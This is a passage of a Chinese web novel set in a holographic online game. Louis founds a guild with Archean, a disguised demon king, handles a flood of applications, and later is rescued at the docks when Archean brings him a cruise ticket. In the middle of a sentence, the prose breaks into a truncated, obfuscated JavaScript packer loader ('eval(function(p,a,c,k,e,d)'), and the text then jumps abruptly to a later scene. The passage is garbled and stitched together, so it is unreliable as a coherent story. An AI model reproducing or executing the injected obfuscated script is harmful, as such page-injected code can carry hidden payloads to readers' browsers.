或许他更应该站远点、朝别处看，假装不认识路易。 “嘿，别这么严肃。”路易用胳膊肘轻轻顶了顶阿契恩，然后凑到对方耳边，一本正经地压低声音提醒，“你最好也笑一笑，不然真的会被别人当成男同的。” 26. 第26章 好不容易排到登记柜台前，路易却对公会名字犯了难。 他想用和阿契恩相关的元素命名，但只要提及其名字或是‘魔王’一词，就会被负责登记工作的老头训斥，说他误入歧途，不配成为受王城征召的勇者。 路易求助性地看了一眼阿契恩，果然见他虽然人站在旁边，但心思早就完全不在这儿了。 路易转回头，决定跟老头杠上了。他张开双手指向阿契恩，做出夸张的展示姿势，说：“我想表达的是我们公会里有实力匹敌魔王的成员，他早晚能打败现任魔王、统领魔族为人类所用，凭什么不行？我又不差你金币，能不能别那么多事？” 可你说任你说，老头就是不同意。 两个犟种谁也不妥协，声音也越来越大。 就这样过了几分钟，阿契恩终于“重连”，发觉这件事还没结束，抬了抬眉。 他侧耳听了一会儿两人争吵的内容，很快理解了重点，然后一边用左手抓住路易的手腕让他安静，一边用正常音量但足够清晰的声音对登记老头说：“叫‘衔尾蛇’。” 不同于路易争论得急赤白脸，阿契恩就那么好端端地站着，下巴微抬，说出来的话简短到全然没有征求同意的意思，只像是个通知。 不知是不是见人下菜碟，还是这个名字的确符合要求，老头终于没再为难。他痛痛快快地登记好，然后分别递来一张纸，指着相同的位置说：“这是会长的，这是副会长的，在这里按手印。” 路易痛快地用拇指沾完印泥，却在按向纸面之前犹豫了。 他对阿契恩道：“要不还是你当会长吧，同样不用你管事，我会负责好一切的。” 话音未落，阿契恩已经把手指按在了单子上。 “就这样吧。”他默然地递回那张纸，毫不在意。 最后，老头给了身位会长的路易一则文书，象征着公会的建立。 文书充满仪式感地交到他的手上，几秒后散成光点，被自动加入装备栏。 老头介绍道：“在公会人数满员前信息会一直被挂在招募大厅上，消息用魔法同步，无需来协会即可办理入会及遣散登记。如需解散公会则需要来协会现场办理。” 这些常规流程路易都懂，他关心的另有别事：“文件只给会长？副会长没有吗？” “没有。” “凭什么？”路易身体前倾，一手撑住柜台面，一手指着老头鼻尖，“唉我跟你讲我忍你很久了，你信不信——” 他的话戛然而止，只因阿契恩从后面掐住了他的脖子。骨节分明的手指有点冰，让人一下子变得冷静，专注于他未说出口的命令。 “别跟他吵了，”阿契恩道，“我不想要那种东西。” 他身上就是有一种天然的掌控力，让“躁狂症晚期”的人也能老老实实。 “哦……好，好的……” 路易仰头看着阿契恩，语气不自觉地软了下来。 阿契恩收回手，随口说：“走吧。” 颈间失去压制，路易没过一会儿就变回原型。他怎么想怎么不解气，瞪着眼睛冲老头比划，意思是“看在阿契恩的份上先饶了你”。 阿契恩余光看他还在挑衅，又掐了他脖子一把，语气严厉了些：“我说走了。” “你怎么想到的用‘衔尾蛇’这个名字？”路易边跟着往出走边问。 “不是你说的吗？”阿契恩轻声答，“新王取代旧王，周而复始。” 路易像是回忆起了什么，又或是被什么东西所触动，他不自觉地放满了脚步，凝望着阿契恩，酝酿起措辞。 但紧接着，另有东西吸引了他的注意力，让他瞠目结舌—— 阿契恩的名气实在太大，从他出现在冒险者协会的那一刻起，相关帖子就如同雨后春笋般出现在论坛里。 排队的这会儿消息已然发酵开来，不看论坛的也被口口相传到，谁都知道他和路易一起创建了公会。 所以现在，不过十几秒的工夫，路易的系统提示消息爆炸了。 他不得不停在协会大门口，赶紧完善审核设置、处理各种申请。 那些消息阿契恩也看得见，但正如提前说过的那样，他什么事都不会管，心安理得地袖手旁观。 “不行，我得把吉米加进来帮忙。”路易肉眼可见地焦头烂额，但他除了让阿契恩等等自己以外没让他做任何事，就像承诺中那般自食其力，“快快快，你人在哪儿呢？快来——” 话说到一半，路易突然顿悟了，一巴掌拍在额头上：“该死的，我忘了吉米还没通关宗教镇！没有开启加入公会的权限！” 阿契恩报着看热闹不嫌事儿大的心态，故意逗他：“或许我退出公会可以解你的燃眉之急。” 说着他优雅地掀了下衣摆，在路易身边的台阶处席地而坐。 “不不不不，千万别，我可以，我能搞定……”路易飞速点击着按钮和弹窗，速度快得几乎要手抽筋。 阿契恩撑着头，在路易无暇顾及的匆忙中慵懒地笑着。 大约过去了几分钟，只听路易突然像被踩了尾巴一般大叫了一声。 他像犯了什么不可饶恕的错，万念俱灰般地看向阿契恩，说：“我好像……把万斯拉进来了。” 阿契恩撇了撇嘴，觉得无所谓，反正他从没把万斯放在眼里过。 路易赶紧先去核实，嘴上没停：“真是阴魂不散啊，难道他为此退了白骑士团？不可能吧，就算退了也要48小时之后才能……唉？这人的id不是万斯，是万斯斜杠。难道……是他小号？” 阿契恩认真思索了一会儿，问：“这事儿跟乐器有什么关系？” “此小号非彼小号。”即便忙得快死了，路易还是抽空回应阿契恩如同冷笑话般的疑问。 “嗯……难道不能把他删了吗？就像删好友那样。”阿契恩又问。 “同意入会后24小时之内不能踢人。”路易懊恼地直拍大腿，“都怪我没看清，申请信息实在太多了。” “那就是没办法咯。”阿契恩看得很开，“既然没办法就别纠结了，不是什么大事。” 又过了一会儿，路易才把公会入会筛选设置好，并将现有申请全部处理完毕，开始编辑公告。 “首先，”他一边打字一边念出声，“没有副会长好友位福利，有事在公会频道发，不要骚扰副会长。” 其实无所谓骚不骚绕，阿契恩只要当没看见好友申请、全部不通过就好了。 “唉你说我要不要同意他们加我好友？”路易故意问，像是在测试阿契恩一般。 “随便。”可惜阿契恩没表态。 “好，那就这么写——”路易继续念道，“其次，副会长同意加会长好友，但会长本人不同意。” “……” “不过还是要有些其它福利的。”路易转头问阿契恩，“你接不接受公会里的人找你切磋可以优先？” 阿契恩耸了下肩，依旧是：“我无所谓。” “那好，就这个了。再把不用的装备丢到仓库里面……” 终于，当一切搞定，路易长舒一口气，四仰八叉地往地上一躺，活人微死。 但看着成员列表里的那个“万斯/”，他还是浑身不舒服。明明是他好不容易才求来的公会，现在多了一颗老鼠屎。 “那么咱们什么时候能坐船离开码头？”阿契恩催促“导游”复工。 “每天晚上8点开始登船，9点启航。” “这么说来还有几个小时，那这期间能干什么？可以去……” 阿契恩想说“下本”，但话到嘴边忘了具体的词，大概是身处码头、触景生情，最后说了个差不多的—— “下海吗？” 此言一出，路易一个鲤鱼打挺就起来把阿契恩的嘴捂上了，速度快到阿契恩都没看清。 “哎呦这词可不能说昂，崩人设了知道吗？” 阿契恩自然是没听懂，嘴被捂着，就用眼神表达困惑。 “这里没有副本。”路易猜到阿契恩真正想说的词，解释道，“你可以把这里当成度假村，完全是给玩家享受游戏的休闲地区，最大程度发挥全息游戏的特点，让玩家身临其境地体验美食与海滩。” “我不懂这些有什么可享受的。”语气无关鄙夷，只是阿契恩再寻常不过的正常评价。 “这片地区从内测时期起就是好评如潮哟。尤其是放在和百眼巨魔这种建模令人掉san的Boss对战之后，实在让人身心放松又满足。”说到这儿，路易灵光一现，猜测道，“难道你平时就住在海边度假村？所以早就腻了？” 魔王城位于寸草不生的火山峡谷，天空终日火烧似的阴云被笼罩，跟惬意的阳光沙滩可谓是半点关系不沾，更不会有人吃了熊心豹子胆、选择去那里度假。 “没有，离海很远。”阿契恩答。 “那就是经常去玩？唉你更喜欢冲浪还是潜水？或许咱们以后可以约着一起去。你知道吗，我第一次去的时候可有意思了……” 连路易自己都没意识到，他已经在冥冥之中对阿契恩在现实中的身份开始感兴趣，主动提及自己的现实生活，渴望着更多接触与共鸣。 这无疑是他开始被对方的灵魂吸引的证明，不再止步于建模皮囊。 阿契恩静静听完路易讲述自己的经历，然后面无表情道：“不是，没做过，都不喜欢。” 路易热情依旧：“没关系，以后我带你去，等你试过一定会喜欢的。” 和不理解玩家们为什么会享受美食和沙滩一样，阿契恩也不理解路易说的这些有趣在哪里。 他只能确定路易在说这些时脸上洋溢着的兴奋与欣喜不是假的。 阿契恩望向远处的海平面，认真思索其中是不是真的有被他错过的东西。 “好了，我得抓紧时间下线去吃饭补觉。”转眼间，路易已经连续在线了几个小时，生理状态检测设施正在不断发出提醒，要是再继续无视下去，要不了多久系统就会强制他下线，“我劝你也休息一会儿，等8点多再回来继续。” 阿契恩敷衍地摆摆手，路易也没什么别的法子，只能自己先走。 路易走后，阿契恩才第一次点开公会面板、看到徽章，是一条首尾相连的赤眼黑色，饱满整齐的鳞片有着如铠甲般的金属光泽。 他若有所思地盯着看了一会儿，随后点进公会频道，见有不少人询问他人在哪儿、能不能切磋。 “来吧，”他打字道，“冒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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于是他气喘吁吁地向船员表示自己要购票，未料却得到了礼貌但令人心寒的答复：“当日船票售罄了，先生。” “售罄？” 路易只记得登船有时间限制，根本没听说还有数量限制。 接受现状的工夫，身边又上去几位提前购票的NPC，周围的人渐渐少了，快要剩他孤零零一人吹着咸冷的海风。 游轮明明近在眼前，头顶上方隐约传来轻快的圆舞曲，数不清的舷窗散发着暖黄色的光，可是这一切、以及和阿契恩的海上之旅，在今晚都要和他无缘了。 要知道，错过这艘游轮不只是要等一天那么简单，而是将会在船上发生的所有剧情都没法和阿契恩一起体验了。 路易试图争取，拉下脸赔笑道：“能不能通融一下？我挺急的，因为我朋友已经上去了。你看你们这么大的船，多我一个也不会沉，对吧？” 按照既定程序做事的NPC自然不会通融他。 汽笛声再次响起，这是最后一次催促。 路易急得团团转，但再急也没有用了。 他再次打开和阿契恩的聊天窗，打字道歉，解释说是前一天晚上没休息好，白天连续在线几个小时实在疲惫，这才睡过了头。 阿契恩肯定不缺他的道歉。 毕竟不是阿契恩需要他，而是他想要跟随阿契恩，他的缺席毫无意义，他真正辜负的人只有自己。 这样想着，路易更加难过懊恼，强烈的情绪组成了另一艘巨大游轮，向他倾碾而来。视线很快被泪水浸得模糊，让他看不清自己的手指和按键，打字速度也越来越慢。 “船票卖完了，我恐怕上不去船了，对不……” 还没打完字，路易听到了一阵短促又沙哑的哨音。 他起初没当回事儿，以为是船员之间用来沟通的哨子，但很快他反应过来这好像坏了一般的哨音似曾相识。 他寻着哨音传来的方向回头，果然看到了魂牵梦萦的那个人。 只见阿契恩刚放下“狗哨”，手里攥着两张船票，冲他逗弄似的挥动，修长的身影被码头和从舷窗照出来的光勾勒出清晰的轮廓。 他脸上没什么表情，仔细看才察觉得一种几乎不可察觉的浅笑，语气就像他手里的船票一般轻飘飘地：“我买了两张票，但很显然，奥菲莉亚不需要。” “你……是给我买的？” 惊喜来得突然，路易大脑宕机，迟迟没反应过来，差点以为是极度悲伤后麻痹大脑的梦。 阿契恩走近，将船票交给船员打孔检票。 他见路易还眼角带泪花地呆愣着，伸手不轻不重地拍了拍对方的脸颊，低头凑近，玩味道：“以为我把你丢下了吗？就这点出息？” 距离好近，近到能看清阿契恩下睫毛的根数，看清他唇角的浅痣。 海边自带的浪漫氛围难免让人失神，像每个在远行前吻别的恋人似的，路易下意识抬起下巴、仰起脸。不过只有不到半秒，他回过神，动作明显一滞，眼神刻意又狼狈地向旁边瞥开。 “没有，是海风吹的。” 路易快速眨了眨眼，效果却是欲盖弥彰。 阿契恩很快收回了手，毫不在意地走远，将一切留给路易的遐想。他像是随手轻抛出了颗石子，就在对方心中漾出难以平息的涟漪。 路易缓慢抬起手，摸了摸自己脸上刚才被对方轻拍的地方，清亮的蓝眼睛里是不自知的羞涩与迷恋。 “快走吧，再磨蹭下去有票也上不去了。”阿契恩走在前面，头也不回，“我不会一直有耐心等你的，下不为例。”